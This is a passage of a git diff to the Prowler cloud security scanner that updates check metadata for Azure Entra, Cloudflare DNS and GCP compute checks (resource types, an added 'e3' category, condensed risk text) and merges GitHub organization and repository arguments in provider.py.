a/prowler/providers/azure/services/entra/entra_global_admin_in_less_than_five_users/entra_global_admin_in_less_than_five_users.metadata.json +++ b/prowler/providers/azure/services/entra/entra_global_admin_in_less_than_five_users/entra_global_admin_in_less_than_five_users.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra Global Administrator** assignments are evaluated by counting current role members per tenant and identifying when the number of assignees is `5` or more.", "Risk": "Having **5+ Global Administrators** expands the privileged attack surface. Compromised credentials or tokens can enable tenant-wide changes, disable security controls, exfiltrate data, and create persistence, impacting **confidentiality**, **integrity**, and **availability** across Entra, Microsoft 365, and Azure.", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_non_privileged_user_has_mfa/entra_non_privileged_user_has_mfa.metadata.json b/prowler/providers/azure/services/entra/entra_non_privileged_user_has_mfa/entra_non_privileged_user_has_mfa.metadata.json index e6bd208eaf..2cdd6bdc9c 100644 --- a/prowler/providers/azure/services/entra/entra_non_privileged_user_has_mfa/entra_non_privileged_user_has_mfa.metadata.json +++ b/prowler/providers/azure/services/entra/entra_non_privileged_user_has_mfa/entra_non_privileged_user_has_mfa.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra** non-privileged users are assessed for **multifactor authentication** by verifying they have **two or more registered authentication methods** (*MFA enrollment*).", "Risk": "Absent **MFA** on standard accounts enables password-only logins after phishing, reuse, or spraying, leading to **account takeover**. Attackers can access email, files, and apps, send internal phishing, and escalate, undermining **confidentiality** and **integrity**, and risking **availability** via malicious changes.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_default_users_cannot_create_security_groups/entra_policy_default_users_cannot_create_security_groups.metadata.json b/prowler/providers/azure/services/entra/entra_policy_default_users_cannot_create_security_groups/entra_policy_default_users_cannot_create_security_groups.metadata.json index a491370fab..55aaaceb77 100644 --- a/prowler/providers/azure/services/entra/entra_policy_default_users_cannot_create_security_groups/entra_policy_default_users_cannot_create_security_groups.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_default_users_cannot_create_security_groups/entra_policy_default_users_cannot_create_security_groups.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra authorization policy** setting for default user role permissions governing creation of **security groups** by non-privileged users.\n\nThe value of `allowed_to_create_security_groups` is examined to ensure group creation is limited to administrators across portals, API, and PowerShell.", "Risk": "Allowing standard users to create security groups drives **entitlement sprawl** and can grant **unauthorized access** when those groups are tied to apps, sites, or roles. This weakens **least privilege**, complicates audits, and enables **lateral movement** or data exfiltration via misassigned group-based permissions.", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_apps/entra_policy_ensure_default_user_cannot_create_apps.metadata.json b/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_apps/entra_policy_ensure_default_user_cannot_create_apps.metadata.json index 1c5e2c46fb..f7d9826626 100644 --- a/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_apps/entra_policy_ensure_default_user_cannot_create_apps.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_apps/entra_policy_ensure_default_user_cannot_create_apps.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra authorization policy** controls whether default users can create application registrations via `allowed_to_create_apps`. App creation is expected to be limited to administrators or explicitly delegated roles.", "Risk": "Permitting default users to register apps enables **unvetted service principals**, **consent phishing**, and **over-privileged API access**, threatening data **confidentiality** and **integrity**. Adversaries can persist with app credentials, exfiltrate mail/files, and perform **lateral movement** using rogue permissions.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json b/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json index 139c6056e5..7adc58d201 100644 --- a/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_ensure_default_user_cannot_create_tenants/entra_policy_ensure_default_user_cannot_create_tenants.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra authorization policy** governs whether default users can create new tenants. This evaluates if tenant creation is disabled for non-admin users via `allowed_to_create_tenants=false`.", "Risk": "Permitting default users to create tenants fuels **shadow IT** and identity sprawl. Creators become **Global Administrators** of unmanaged tenants, eroding **confidentiality** and **integrity** through unsanctioned apps and unmonitored data flows, and degrading **availability** of centralized governance.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json b/prowler/providers/azure/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json index 5925a43184..d0710bb6c3 100644 --- a/prowler/providers/azure/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_guest_invite_only_for_admin_roles/entra_policy_guest_invite_only_for_admin_roles.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra authorization policy** controls who can send **B2B guest invitations**.\n\nSecure posture is when invitations are restricted to specific admin roles (`adminsAndGuestInviters`) or completely disabled (`none`).", "Risk": "**Open guest invitation** rights let members or guests add external users without oversight, expanding the attack surface.\n\nImpacts:\n- **Confidentiality**: data leakage via overshared resources\n- **Integrity**: privilege escalation through group/team access\n- **Availability**: difficult containment due to account sprawl", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json b/prowler/providers/azure/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json index eadeb50deb..40e29792f8 100644 --- a/prowler/providers/azure/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_guest_users_access_restrictions/entra_policy_guest_users_access_restrictions.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra authorization policy** guest settings are assessed to determine whether guest user access is limited to the properties and memberships of their own directory objects (`Restricted access`) instead of broader visibility into users and groups", "Risk": "Excess guest visibility enables **directory reconnaissance**, exposing user and group details for **phishing**, **password spraying**, and targeted attacks. This weakens **confidentiality** and can facilitate **privilege escalation** and lateral movement through informed abuse of group memberships and access paths.", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json b/prowler/providers/azure/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json index c01f007d4f..7b09eb8996 100644 --- a/prowler/providers/azure/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_restricts_user_consent_for_apps/entra_policy_restricts_user_consent_for_apps.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "Microsoft Entra authorization settings are evaluated to determine if the default user role permits **user consent to applications**. The check looks at permission grant policies to see whether end users can authorize apps to access organization data on their behalf, or if consent is restricted (e.g., `Do not allow user consent`).", "Risk": "Permitting end-user consent enables **consent phishing** and over-privileged OAuth grants. Attackers can obtain tokens to read/send mail, access files, or act as the user, causing **data exfiltration**, persistence beyond password resets/MFA changes, and abuse of connected apps, impacting confidentiality and integrity.", @@ -31,7 +31,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_policy_user_consent_for_verified_apps/entra_policy_user_consent_for_verified_apps.metadata.json b/prowler/providers/azure/services/entra/entra_policy_user_consent_for_verified_apps/entra_policy_user_consent_for_verified_apps.metadata.json index 65e41bcea4..8aaeb21ad6 100644 --- a/prowler/providers/azure/services/entra/entra_policy_user_consent_for_verified_apps/entra_policy_user_consent_for_verified_apps.metadata.json +++ b/prowler/providers/azure/services/entra/entra_policy_user_consent_for_verified_apps/entra_policy_user_consent_for_verified_apps.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra** authorization policy for the default user role is assessed for assignment of the user-consent policy `microsoft-user-default-legacy`. Its presence means users can self-consent to app permissions; its absence indicates consent is restricted (e.g., only verified publishers or low-impact scopes).", "Risk": "Broad self-consent enables **OAuth consent phishing** and rogue apps to gain tokens to tenant data (**confidentiality**), request write scopes to change resources (**integrity**), and persist via refresh tokens after password changes. Mis-scoped grants can drive lateral movement and privilege escalation.", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_privileged_user_has_mfa/entra_privileged_user_has_mfa.metadata.json b/prowler/providers/azure/services/entra/entra_privileged_user_has_mfa/entra_privileged_user_has_mfa.metadata.json index 97ddb4252f..5b622417b6 100644 --- a/prowler/providers/azure/services/entra/entra_privileged_user_has_mfa/entra_privileged_user_has_mfa.metadata.json +++ b/prowler/providers/azure/services/entra/entra_privileged_user_has_mfa/entra_privileged_user_has_mfa.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra** privileged accounts are expected to use **multifactor authentication**. This evaluates users assigned to elevated directory roles and confirms they have **multiple authentication methods** registered for sign-in.", "Risk": "Without **MFA**, privileged accounts face **phishing**, **password spraying**, and **credential reuse** risks. Compromise can grant tenant-wide admin control to alter roles, create backdoors, exfiltrate data, and weaken defenses, impacting **confidentiality**, **integrity**, and **availability**.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_security_defaults_enabled/entra_security_defaults_enabled.metadata.json b/prowler/providers/azure/services/entra/entra_security_defaults_enabled/entra_security_defaults_enabled.metadata.json index c3e9511afb..1efcb6103b 100644 --- a/prowler/providers/azure/services/entra/entra_security_defaults_enabled/entra_security_defaults_enabled.metadata.json +++ b/prowler/providers/azure/services/entra/entra_security_defaults_enabled/entra_security_defaults_enabled.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "security", "Description": "Microsoft Entra **Security defaults** provide tenant-wide baseline identity protections:\n- MFA registration and challenges\n- Legacy auth (`IMAP/POP/SMTP`) blocked\n- Extra checks for privileged access\n\nThis evaluation identifies whether that baseline is enabled at the tenant level.", "Risk": "Absent these defaults, users can sign in with **password-only** or via **legacy protocols** that bypass MFA, enabling **password spray**, replay, and phishing-based takeovers. Compromise risks data exposure (confidentiality), unauthorized changes (integrity), and service disruption (availability).", @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_trusted_named_locations_exists/entra_trusted_named_locations_exists.metadata.json b/prowler/providers/azure/services/entra/entra_trusted_named_locations_exists/entra_trusted_named_locations_exists.metadata.json index 95f6a5fc7d..2676fe30f6 100644 --- a/prowler/providers/azure/services/entra/entra_trusted_named_locations_exists/entra_trusted_named_locations_exists.metadata.json +++ b/prowler/providers/azure/services/entra/entra_trusted_named_locations_exists/entra_trusted_named_locations_exists.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "low", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "network", "Description": "**Microsoft Entra ID Conditional Access** supports **trusted named locations** defined by **public IP ranges**. Presence of at least one location marked `trusted` with IP CIDR ranges available for use in policy conditions.", "Risk": "Without trusted IP-based locations, policies can't reliably distinguish corporate networks from unknown sources. This weakens **confidentiality and integrity**, enabling risky sign-ins to avoid stricter controls and forcing coarse rules that over-prompt users or leave **account takeover** and **data exfiltration** paths open.", @@ -30,7 +30,8 @@ }, "Categories": [ "identity-access", - "trust-boundaries" + "trust-boundaries", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_user_with_vm_access_has_mfa/entra_user_with_vm_access_has_mfa.metadata.json b/prowler/providers/azure/services/entra/entra_user_with_vm_access_has_mfa/entra_user_with_vm_access_has_mfa.metadata.json index 5a436eb7d4..9917cde5fc 100644 --- a/prowler/providers/azure/services/entra/entra_user_with_vm_access_has_mfa/entra_user_with_vm_access_has_mfa.metadata.json +++ b/prowler/providers/azure/services/entra/entra_user_with_vm_access_has_mfa/entra_user_with_vm_access_has_mfa.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra** users with Azure roles that grant VM sign-in or management access-such as `Owner`, `Contributor`, `Virtual Machine * Login`, and `Virtual Machine Contributor`-are evaluated for **multi-factor authentication** enrollment. The finding highlights accounts with VM access that lack more than one authentication factor.", "Risk": "Without **MFA**, accounts with VM access are vulnerable to phishing, password spraying, and credential stuffing. Compromise can enable remote VM login, abuse of the VM's managed identity, privilege escalation, and lateral movement-impacting confidentiality, integrity, and availability of workloads.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/azure/services/entra/entra_users_cannot_create_microsoft_365_groups/entra_users_cannot_create_microsoft_365_groups.metadata.json b/prowler/providers/azure/services/entra/entra_users_cannot_create_microsoft_365_groups/entra_users_cannot_create_microsoft_365_groups.metadata.json index f11b93c9d3..8fcb6a8261 100644 --- a/prowler/providers/azure/services/entra/entra_users_cannot_create_microsoft_365_groups/entra_users_cannot_create_microsoft_365_groups.metadata.json +++ b/prowler/providers/azure/services/entra/entra_users_cannot_create_microsoft_365_groups/entra_users_cannot_create_microsoft_365_groups.metadata.json @@ -7,7 +7,7 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "microsoft.aadiam/tenants", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", "Description": "**Microsoft Entra** directory setting **Group.Unified** governs who can create **Microsoft 365 Groups**. The evaluation inspects `EnableGroupCreation` and, when present, `GroupCreationAllowedGroupId` to determine if group creation is broadly allowed or restricted to a designated group.", "Risk": "Unrestricted group creation drives sprawl of Teams, SharePoint sites, and mailboxes, undermining **confidentiality** via public spaces and guest invites. Compromised accounts can create groups to stage exfiltration or impersonation. It also heightens **integrity** risks from unsanctioned owners and **operational** burden for lifecycle and governance.", @@ -30,7 +30,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/cloudflare/services/dns/dns_record_cname_target_valid/dns_record_cname_target_valid.metadata.json b/prowler/providers/cloudflare/services/dns/dns_record_cname_target_valid/dns_record_cname_target_valid.metadata.json index ff043c2122..e17c3b7308 100644 --- a/prowler/providers/cloudflare/services/dns/dns_record_cname_target_valid/dns_record_cname_target_valid.metadata.json +++ b/prowler/providers/cloudflare/services/dns/dns_record_cname_target_valid/dns_record_cname_target_valid.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "DNSRecord", "ResourceGroup": "network", "Description": "**Cloudflare DNS records** (CNAME, MX, NS, SRV) that point to hostnames are assessed for **dangling record** vulnerabilities by checking if the target domain resolves to a valid address, preventing **subdomain takeover**, **mail interception**, and **service hijacking** attacks.", - "Risk": "Dangling **DNS records** pointing to non-existent targets create multiple vulnerabilities.\n- **Confidentiality**: dangling CNAME/NS allows subdomain takeover; dangling MX allows mail interception\n- **Integrity**: attackers can impersonate your organization, intercept emails, or hijack services\n- **Availability**: legitimate services may be disrupted or redirected to attacker-controlled infrastructure", + "Risk": "Dangling **DNS records** pointing to non-existent targets create multiple vulnerabilities. Dangling CNAME/NS allows **subdomain takeover**; dangling MX allows **mail interception**. Attackers can impersonate your organization, hijack services, or redirect legitimate traffic to attacker-controlled infrastructure.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/dns/manage-dns-records/how-to/create-dns-records/" diff --git a/prowler/providers/cloudflare/services/zone/zone_record_caa_exists/zone_record_caa_exists.metadata.json b/prowler/providers/cloudflare/services/zone/zone_record_caa_exists/zone_record_caa_exists.metadata.json index 07e9181831..b7568badb8 100644 --- a/prowler/providers/cloudflare/services/zone/zone_record_caa_exists/zone_record_caa_exists.metadata.json +++ b/prowler/providers/cloudflare/services/zone/zone_record_caa_exists/zone_record_caa_exists.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "Zone", "ResourceGroup": "network", "Description": "**Cloudflare zones** are assessed for **CAA (Certificate Authority Authorization)** DNS records by checking if they exist with **`issue` or `issuewild` tags** that specify which **certificate authorities** are permitted to issue SSL/TLS certificates for the domain.", - "Risk": "Without **CAA** records or without `issue`/`issuewild` tags, any certificate authority can issue certificates for your domain.\n- **Confidentiality**: unauthorized certificates enable man-in-the-middle attacks\n- **Integrity**: attackers can impersonate your domain with fraudulently obtained certificates\n- **Trust**: CA compromise or social engineering can result in unauthorized certificate issuance\n- **Missing tags**: CAA records without `issue` or `issuewild` tags (e.g., only `iodef`) do not restrict certificate issuance", + "Risk": "Without **CAA** records or `issue`/`issuewild` tags, any certificate authority can issue certificates for your domain. Unauthorized certificates enable **man-in-the-middle attacks** and domain impersonation. CAA records with only `iodef` tags do not restrict certificate issuance.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/ssl/edge-certificates/caa-records/" diff --git a/prowler/providers/cloudflare/services/zone/zone_record_dkim_exists/zone_record_dkim_exists.metadata.json b/prowler/providers/cloudflare/services/zone/zone_record_dkim_exists/zone_record_dkim_exists.metadata.json index a8811febbf..aaf204e29f 100644 --- a/prowler/providers/cloudflare/services/zone/zone_record_dkim_exists/zone_record_dkim_exists.metadata.json +++ b/prowler/providers/cloudflare/services/zone/zone_record_dkim_exists/zone_record_dkim_exists.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "Zone", "ResourceGroup": "network", "Description": "**Cloudflare zones** are assessed for **DKIM (DomainKeys Identified Mail)** records by checking if TXT records exist at `*._domainkey` subdomains containing a **cryptographically valid public key** in the `p=` parameter used to **verify email signatures**.", - "Risk": "Without **DKIM** or with a revoked/empty public key, email recipients cannot verify that messages were sent by authorized servers.\n- **Confidentiality**: attackers can forge emails appearing to come from your domain\n- **Integrity**: no cryptographic proof that email content hasn't been modified in transit\n- **Reputation**: DMARC policies relying on DKIM will fail, affecting email deliverability\n- **Revoked keys**: A DKIM record with `p=` empty (e.g., `p=;`) indicates a revoked key that cannot authenticate emails", + "Risk": "Without **DKIM** or with a revoked/empty public key, recipients cannot verify messages were sent by authorized servers. Attackers can forge emails from your domain, and content integrity cannot be proven. DMARC policies relying on DKIM will fail, affecting deliverability. A DKIM record with empty `p=` indicates a revoked key.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/dns/manage-dns-records/how-to/email-records/" diff --git a/prowler/providers/cloudflare/services/zone/zone_record_dmarc_exists/zone_record_dmarc_exists.metadata.json b/prowler/providers/cloudflare/services/zone/zone_record_dmarc_exists/zone_record_dmarc_exists.metadata.json index 2aa572da36..93ccedacfd 100644 --- a/prowler/providers/cloudflare/services/zone/zone_record_dmarc_exists/zone_record_dmarc_exists.metadata.json +++ b/prowler/providers/cloudflare/services/zone/zone_record_dmarc_exists/zone_record_dmarc_exists.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "Zone", "ResourceGroup": "network", "Description": "**Cloudflare zones** are assessed for **DMARC (Domain-based Message Authentication, Reporting, and Conformance)** records by checking if a TXT record exists at `_dmarc` subdomain with an **enforcement policy (`p=reject` or `p=quarantine`)** to actively block or quarantine spoofed emails.", - "Risk": "Without **DMARC** or with a monitoring-only policy (`p=none`), there is no active protection against email spoofing.\n- **Confidentiality**: attackers can spoof emails for phishing campaigns to steal credentials\n- **Integrity**: no visibility into email authentication failures or abuse attempts\n- **Reputation**: domain reputation damage from spoofed emails sent in your name\n- **Monitoring-only policy**: `p=none` only generates reports but does not block or quarantine spoofed emails, providing no real protection", + "Risk": "Without **DMARC** or with `p=none`, there is no active protection against email spoofing. Attackers can spoof emails for **phishing campaigns** to steal credentials. Domain reputation is damaged by spoofed emails. The `p=none` policy only generates reports but does not block or quarantine spoofed emails.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/dns/manage-dns-records/how-to/email-records/" diff --git a/prowler/providers/cloudflare/services/zone/zone_record_spf_exists/zone_record_spf_exists.metadata.json b/prowler/providers/cloudflare/services/zone/zone_record_spf_exists/zone_record_spf_exists.metadata.json index 07e2d4ee5f..d043a44136 100644 --- a/prowler/providers/cloudflare/services/zone/zone_record_spf_exists/zone_record_spf_exists.metadata.json +++ b/prowler/providers/cloudflare/services/zone/zone_record_spf_exists/zone_record_spf_exists.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "Zone", "ResourceGroup": "network", "Description": "**Cloudflare zones** are assessed for **SPF (Sender Policy Framework)** records by checking if a TXT record exists that specifies which mail servers are **authorized to send email** on behalf of the domain, and verifies that the record uses a **strict policy (`-all`)** to reject unauthorized senders.", - "Risk": "Without **SPF** or with a permissive policy (`~all`, `?all`, `+all`), attackers can forge emails appearing to come from your domain.\n- **Confidentiality**: phishing attacks can harvest sensitive information from recipients who trust spoofed emails\n- **Integrity**: brand reputation damage from fraudulent emails sent in your name\n- **Availability**: email deliverability issues as receiving servers may reject or quarantine legitimate emails\n- **Permissive policies**: `~all` (softfail) only marks emails as suspicious but does not reject them, `?all` (neutral) provides no protection", + "Risk": "Without **SPF** or with a permissive policy (`~all`, `?all`, `+all`), attackers can forge emails from your domain. Phishing attacks can harvest sensitive information from recipients who trust spoofed emails. Brand reputation is damaged by fraudulent emails. `~all` only marks emails as suspicious without rejecting them.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/dns/manage-dns-records/how-to/email-records/" diff --git a/prowler/providers/cloudflare/services/zone/zone_ssl_strict/zone_ssl_strict.metadata.json b/prowler/providers/cloudflare/services/zone/zone_ssl_strict/zone_ssl_strict.metadata.json index d236895198..8a3f2f31c2 100644 --- a/prowler/providers/cloudflare/services/zone/zone_ssl_strict/zone_ssl_strict.metadata.json +++ b/prowler/providers/cloudflare/services/zone/zone_ssl_strict/zone_ssl_strict.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "Zone", "ResourceGroup": "network", "Description": "**Cloudflare zones** are assessed for **SSL/TLS encryption mode** by checking if the mode is set to `Full (Strict)` to ensure **end-to-end encryption** with certificate validation.", - "Risk": "Without **strict SSL mode**, traffic between Cloudflare and origin may use unvalidated or unencrypted connections.\n- **Confidentiality**: sensitive data can be intercepted in transit via man-in-the-middle attacks\n- **Integrity**: responses can be modified without detection between Cloudflare and origin\n- **Compliance**: may violate PCI-DSS, HIPAA, and other regulatory requirements for encrypted transport", + "Risk": "Without **strict SSL mode**, traffic between Cloudflare and origin may use unvalidated or unencrypted connections. Sensitive data can be intercepted via **man-in-the-middle attacks**, responses can be modified without detection, and this may violate PCI-DSS, HIPAA, and other regulatory requirements.", "RelatedUrl": "", "AdditionalURLs": [ "https://developers.cloudflare.com/ssl/origin-configuration/ssl-modes/" diff --git a/prowler/providers/common/provider.py b/prowler/providers/common/provider.py index 0f028106bb..c47c268566 100644 --- a/prowler/providers/common/provider.py +++ b/prowler/providers/common/provider.py @@ -238,6 +238,21 @@ class Provider(ABC): fixer_config=fixer_config, ) elif "github" in provider_class_name.lower(): + orgs = [] + repos = [] + + if getattr(arguments, "organization", None): + orgs.extend(arguments.organization) + if getattr(arguments, "organizations", None): + orgs.extend(arguments.organizations) + if getattr(arguments, "repository", None): + repos.extend(arguments.repository) + if getattr(arguments, "repositories", None): + repos.extend(arguments.repositories) + + orgs = list(dict.fromkeys(orgs)) + repos = list(dict.fromkeys(repos)) + provider_class( personal_access_token=arguments.personal_access_token, oauth_app_token=arguments.oauth_app_token, @@ -245,8 +260,8 @@ class Provider(ABC): github_app_id=arguments.github_app_id, mutelist_path=arguments.mutelist_file, config_path=arguments.config_file, - repositories=arguments.repository, - organizations=arguments.organization, + repositories=repos, + organizations=orgs, ) elif "googleworkspace" in provider_class_name.lower(): provider_class( diff --git a/prowler/providers/gcp/services/compute/compute_image_not_publicly_shared/compute_image_not_publicly_shared.metadata.json b/prowler/providers/gcp/services/compute/compute_image_not_publicly_shared/compute_image_not_publicly_shared.metadata.json index a24d47ec73..541002b8b0 100644 --- a/prowler/providers/gcp/services/compute/compute_image_not_publicly_shared/compute_image_not_publicly_shared.metadata.json +++ b/prowler/providers/gcp/services/compute/compute_image_not_publicly_shared/compute_image_not_publicly_shared.metadata.json @@ -9,7 +9,7 @@ "Severity": "medium", "ResourceType": "compute.googleapis.com/Image", "ResourceGroup": "compute", - "Description": "Custom disk images should not be shared publicly with **allAuthenticatedUsers**.\n\nNote: Per Google Cloud API restrictions, **allUsers** cannot be assigned to Compute Engine images. The security concern is **allAuthenticatedUsers**, which grants access to anyone with a Google account.\n\nPublicly shared disk images can expose application snapshots and sensitive data to anyone with a Google Cloud account, potentially leading to unauthorized access and data breaches.", + "Description": "Custom disk images should not be shared publicly with **allAuthenticatedUsers**. Per Google Cloud API restrictions, **allUsers** cannot be assigned to Compute Engine images. The concern is **allAuthenticatedUsers**, which grants access to anyone with a Google account, potentially exposing application snapshots and sensitive data.", "Risk": "Publicly shared disk images can expose **sensitive data** and application configurations to unauthorized users.\n\n- Any authenticated GCP user can access the image content\n- Could lead to **data breaches** if images contain secrets or proprietary code\n- Attackers may use exposed images to understand application architecture", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/gcp/services/compute/compute_instance_group_autohealing_enabled/compute_instance_group_autohealing_enabled.metadata.json b/prowler/providers/gcp/services/compute/compute_instance_group_autohealing_enabled/compute_instance_group_autohealing_enabled.metadata.json index f364573e2e..acdf48ed00 100644 --- a/prowler/providers/gcp/services/compute/compute_instance_group_autohealing_enabled/compute_instance_group_autohealing_enabled.metadata.json +++ b/prowler/providers/gcp/services/compute/compute_instance_group_autohealing_enabled/compute_instance_group_autohealing_enabled.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "compute.googleapis.com/InstanceGroupManager", "ResourceGroup": "compute", "Description": "Managed Instance Groups (MIGs) should have **autohealing** enabled with a valid health check configured. Autohealing automatically recreates unhealthy instances based on application-level health checks, ensuring continuous availability.", - "Risk": "Without autohealing, MIGs cannot detect application-level failures such as crashes, freezes, or memory issues. Instances that are technically running but experiencing problems will remain undetected and unreplaced, leading to:\n\n- **Service degradation** from unhealthy instances\n- **Extended downtime** during application failures\n- **Manual intervention** required to detect and replace failed instances", + "Risk": "Without autohealing, MIGs cannot detect application-level failures such as crashes, freezes, or memory issues. Instances experiencing problems remain undetected and unreplaced, leading to **service degradation**, **extended downtime**, and requiring **manual intervention** to detect and replace failed instances.", "RelatedUrl": "", "AdditionalURLs": [ 